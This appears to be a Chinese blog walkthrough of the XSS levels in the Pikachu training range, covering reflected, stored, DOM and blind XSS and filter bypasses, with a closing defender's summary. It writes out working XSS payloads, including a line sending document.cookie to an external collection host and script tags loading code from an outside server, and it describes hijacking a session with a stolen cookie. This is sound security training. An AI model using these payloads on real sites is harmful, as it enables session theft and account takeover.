Pikachu靶场 XSS 通关与绕过思路全面总结
前言
在Web安全领域,XSS(跨站脚本攻击)的本质是前端代码的注入。其核心心法只有四个字:上下文决定一切。不同场景下(HTML标签之间、HTML属性内部、JS变量内部),Payload的构造方式截然不同。本文记录了我在Pikachu靶场中打通全系列XSS关卡的心路历程与源码分析。
一、 反射型 XSS (GET)
核心原理
用户输入的数据直接通过URL参数(GET请求)被服务端拼接到HTML页面中返回,没有经过任何过滤。
踩坑与绕过
- 前端限制:输入框限制了20个字符。通过 F12 修改前端
maxlength属性,或者直接在 URL 中拼接参数绕过。 <script>标签的失败:初次尝试<script>alert(1)</script>未能弹窗。原因是由于缺少闭合标签,后续的 HTML 文本被当作 JS 代码执行,导致了语法错误(Uncaught SyntaxError)。- 成功Payload:
<svg onload=alert(1)(20字符,利用HTML容错性,省略闭合尖括号依然能触发事件)。

二、 反射型 XSS (POST)
核心原理
参数通过 POST 请求体(Form Data)提交。无法直接修改URL,需要用 Burp Suite 或 F12 抓包。
实战流程
- 登录测试:页面提示“为了练习XSS获取cookie,先登录”。使用
admin/123456登入。 - 弹窗测试:提交
<svg onload=alert(1)>成功弹窗。

Cookie 窃取(会话劫持):
- 使用XSS 平台或自建(
https://xssjs.com/project/view/4591) HTTP 监听服务(python -m http.server 8080)。 - 构造带外 Payload:
<script>new Image().src='http://XSS平台/?c='+document.cookie</script>。 - 在靶场中提交后,XSS平台收到 Cookie。
- 测试:清除本地浏览器 Cookie,替换为 XSS 平台记录到的 Cookie,刷新页面成功无密码进入后台(Session Hijacking)。
- 使用XSS 平台或自建(
三、 存储型 XSS (Stored XSS)
核心原理
Payload 被存进了数据库,持久化生效。任何访问该页面的用户都会自动触发。
实战测试
- 在留言板输入
<h1>666</h1>,发现 HTML 被成功渲染。 - 输入
<script>alert(1)</script>,点击提交后,每次进入该页面都会自动弹窗。 - 注意:测试完记得在后台点击“删除”,否则会一直弹窗影响后续关卡。
- 拓展危害:XSS 蠕虫、网页篡改(Defacement)、键盘记录器。

四、 DOM型 XSS
核心原理
数据不经过后端服务器(后端不知情),完全在前端 JavaScript 中流转,通过 innerHTML 等危险函数渲染。
源码分析
前端 JS 代码:
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";使用:' onclick="alert('xss')">实现
Payload 构造(闭合与逃逸)
由于输入被拼接在 href='...' 中,需要闭合单引号和尖括号:
- Payload 1:
'><img src="#" onmouseover="alert('xss')">(闭合属性,插入图片,鼠标划过触发) - Payload 2:
' onclick="alert('xss')">(闭合引号,直接注入点击事件)

DOM型 XSS-x与DOM型 XSS一样

五、 XSS 盲打 (Blind XSS)
核心原理
前端无回显,没有管理员账号看不到执行结果,要求攻击者具备“带外(OOB)”思维。
使用:<svg onload=alert(1) />实现
验证方法
- XSS平台法:在平台生成代码
<script src="http://xss平台/xxx"></script>,提交到留言板。等待后台管理员查看时,平台收到打过来的请求和 Cookie。 - 自建监听法:自己搭建 HTTP 服务(
python -m http.server),输入<script src="http://本机ip:8000"></script>请求自己的服务器,通过查看日志确认盲打成功。

进阶发现(HttpOnly)
在模拟管理员后台登录时发现,抓取到的关键Cookie(如 psession)带有 HttpOnly 标志(F12中可见勾选)。这导致 document.cookie 读不到它,从而无法成功劫持会话。这是防御 XSS 的强有力手段。
六、 XSS 之过滤
防御机制
后端使用黑名单过滤,如 preg_replace('/<script>/i', '', $message)。
使用:<ScRiPt>alert(1)</ScRiPt>或<svg onload=alert(1)>实现
绕过姿势
- 大小写混淆:
<ScRiPt>alert(1)</ScRiPt>或<ScRipt>alert(1)</ScRipt>。 - 更换标签:
<svg onload=alert(1)>(不包含<script>,绕过黑名单)。

失败尝试记录:
- 双写
<scr<script>ipt>容易被复杂正则直接破坏结构。 双写函数名
AlealertrT会导致 JavaScript 区分大小写报错(ReferenceError),导致执行中断。
- 双写
七、 XSS 之 htmlspecialchars
防御机制
后端使用 PHP 函数 htmlspecialchars($message),将 &、<、>、'、" 转义为 HTML 实体(如 < ")。
使用:javascript:alert(1)实现
源码与绕过分析
输出位置变为:<a href="你的输入">...</a>。
- 失败尝试:
#' onclick=alert(1)。因为单引号被转义为',无法闭合原有href属性构造新事件。 - 成功Payload:
javascript:alert(1)。
原理:htmlspecialchars无法过滤冒号、字母。<a>标签的href天然支持javascript:伪协议,无需逃逸引号,直接在属性内部执行。

八、 XSS 之 href 输出
场景分析
输入被直接输出在 href 属性中,比如 $msg = htmlspecialchars($_GET['message'], ENT_QUOTES);。
使用:javascript:alert(1)实现
绕过思路
ENT_QUOTES 转义了单双引号,完全封死了“闭合属性”的可能性。
必须回归 href 上下文本身:
- Payload:
javascript:alert(1) - 变形绕过(若过滤了javascript):
JaVaScRiPt:alert(1)、java\tscript:alert(1)、data:text/html;base64,...

九、 XSS 之 js 输出
源码分析
输入被拼接到 <script> 标签内部的 JS 变量中:
<script>
var $ms = '你的输入';
if ($ms.length != 0) { ... }
</script>使用:';alert(1);//实现
Payload 构造
上下文是 JS 字符串,目标变为闭合引号并让代码执行且不报错。
Payload:
';alert(1);//
解析:'闭合变量前的引号。;结束当前语句。alert(1);执行恶意代码。//注释掉后续代码,防止因为多出来的';导致语法报错。

开发者防御视角(总结)
- 拒绝黑名单过滤:永远不要试图穷举恶意标签(如
<script>,onload等)。 - 拥抱白名单与转义:根据输出上下文(HTML、JS、CSS、URL)选择对应的转义函数(如
htmlspecialchars,json_encode)。 - URL 协议白名单:针对
href/src,强制校验协议(只允许http://或https://)。 - 设置 HttpOnly:为所有关键的会话 Cookie 添加
HttpOnly标志,杜绝 XSS 窃取凭证(这点在 Pikachu 盲打关卡体现得淋漓尽致)。 - 启用 CSP (内容安全策略):从浏览器层面限制脚本的加载与执行。
免责声明:以上技术内容仅供Web安全学习、靶场练习(Pikachu)及授权测试使用,严禁用于未授权的非法渗透活动。网络安全法不容践踏。
评论 (0)